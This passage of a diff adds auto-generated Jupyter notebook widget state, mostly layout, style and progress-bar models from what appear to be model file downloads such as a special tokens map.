+            "orientation": "horizontal",
+            "style": "IPY_MODEL_14a49cf00e9744dc8f2ac8ec3f19c90c",
+            "value": 20
+          }
+        },
+        "86c728930faa41bcad11875ca74af210": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "876c7d9ec56145338bb7b960b52bddd0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8779a1cb87f6461a9a152ece606fa948": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1974a1b14cd74807b872ad12380d0fe3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_990b53f96b66496bb27edb5c1ea012bc",
+            "value": " 569/569 [00:00&lt;00:00, 5.99kB/s]"
+          }
+        },
+        "8811223ffe8547e99b837842150396f4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "881d8ed91e394981b6320122489fe8bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8af370239d6f45f48cd1f6befdbd9211": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8b08803f05bb47a1b83ebeff76e7caf7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8b41d5c904a942a0bcee642499015089": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7cfb6d760505428e9ffc07fe0fbca962",
+            "placeholder": "​",
+            "style": "IPY_MODEL_a66a0a813bc24011a91f56778e88244e",
+            "value": "100%"
+          }
+        },
+        "8babbe3e6d994cbeaa63e70192e858a4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8bb4488a1c1c4defafb072afa695918f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8c01f8b4191048c5b596bb5da0c73d2f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8c8b4b87df9242318f1ceaf5fc00b216": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "8ce35b01fc9a4b6fbdd650491a58f188": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8e4655cdbd0348bb86523938a0d95367": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a613c20dd06d4754b7a890d802476395",
+            "placeholder": "​",
+            "style": "IPY_MODEL_7342611c130c4e3da540d7ae0ac95b52",
+            "value": "100%"
+          }
+        },
+        "8e7b4587729f4fe597e2342b9e8c5b06": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_91f6c95c7ded4ca0a5fbf7d2f5b8eb67",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4dc511c396c5492c8d707ba52783edcb",
+            "value": "100%"
+          }
+        },
+        "8f10179341c44eb192f865feb143c57e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8f135d6a55484caf92a325c375e16005": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "901f71e702474e77be59006bba599918": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e82bcca350364e229895710e7d145fbf",
+            "placeholder": "​",
+            "style": "IPY_MODEL_be553a7df92e48b687fc177f7ba3c5fd",
+            "value": "100%"
+          }
+        },
+        "9038138255b442b7b17885ab7f31aed1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "90443b91e1f448f78274e3157290a8e0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f3f3d0fa7c164320b7f11f68a3915899",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ee9c24e8b40948d398b026d30cc5cee7",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "90ddc85bb3e84773acf73b9a16b4f0be": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "916ddc4e29e448788ab4fdeb38d4a217": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4d91d312e2ff43509652ce52d7d999d3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_3808c4765a054dd0a2771050871177a4",
+            "value": "100%"
+          }
+        },
+        "91b59a00a5214cd7af5fad47ce24e756": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_90443b91e1f448f78274e3157290a8e0",
+              "IPY_MODEL_6be67e6518ea45a0b14a24c79b947617",
+              "IPY_MODEL_4cbd69647642484f9058b10156001882"
+            ],
+            "layout": "IPY_MODEL_1b8ccf560cce482caf4d08a3ed02f0fe"
+          }
+        },
+        "91f6c95c7ded4ca0a5fbf7d2f5b8eb67": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "925594a07eba4bdc92e59ef1df5ea63e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e25cb8e08bae4c56a84874cf31cd84c4",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_92d4de954f0442778144c26caae5ee83",
+            "value": 20
+          }
+        },
+        "92d0bc42d43c46b2a720ee96e7353232": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "92d4de954f0442778144c26caae5ee83": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "932741fa7e674b6595866eecaf746bc9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "93b5852ebf584c3e95ca3275b2c9b698": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "94b45bc6f5e24cf3aa16f431bc7ed58a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1855195ecd9a4ba993c2a4e298d21a44",
+            "placeholder": "​",
+            "style": "IPY_MODEL_03098089aa0d4e879c1f50cce8384a4e",
+            "value": "100%"
+          }
+        },
+        "94b5651c5cd14901ac59ce22bb80fcfa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "95a784af30bd4bde911e0ee76e343e72": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "95adb39e73614c96af18ccb2468d5b37": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "9604b8f7a8ef4fa6b488ee1892e138d2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "960b8d20472f40078fc9566abc065cc1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "96127d57c04f45fd91dab7aa30607e63": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
